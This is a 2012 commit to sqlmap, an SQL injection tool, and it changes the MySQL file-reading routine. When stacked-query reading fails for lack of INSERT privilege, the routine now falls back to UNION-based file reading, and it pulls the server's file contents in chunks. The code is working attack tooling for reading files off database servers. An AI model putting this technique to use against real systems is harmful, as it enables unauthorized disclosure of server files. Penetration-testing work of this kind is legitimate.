Falling back to unionReadFile() when --file-read does not work against MySQL. This happens when the session user does not have INSERT privilege, required to run LOAD DATA INFILE

bdamele · bdamele · commit 072e08836fe9 · 2012-04-19T14:05:45.000Z
diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py
@@ -55,22 +55,28 @@ def stackedReadFile(self, rFile):
         length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), unique=False, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 
         if not isNumPosStrValue(length):
-            errMsg = "unable to retrieve the content of the "
-            errMsg += "file '%s'" % rFile
-            raise sqlmapNoneDataException, errMsg
-
-        length = int(length)
-        sustrLen = 1024
+            warnMsg = "unable to retrieve the content of the "
+            warnMsg += "file '%s'" % rFile
+
+            if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
+                warnMsg += ", going to fall-back to simpler technique"
+                logger.warn(warnMsg)
+                result = self.unionReadFile(rFile)
+            else:
+                raise sqlmapNoneDataException, warnMsg
+        else:
+            length = int(length)
+            sustrLen = 1024
 
-        if length > sustrLen:
-            result = []
+            if length > sustrLen:
+                result = []
 
-            for i in xrange(1, length, sustrLen):
-                chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, unique=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
+                for i in xrange(1, length, sustrLen):
+                    chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, unique=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
 
-                result.append(chunk)
-        else:
-            result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), unique=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
+                    result.append(chunk)
+            else:
+                result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), unique=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
 
         return result
 
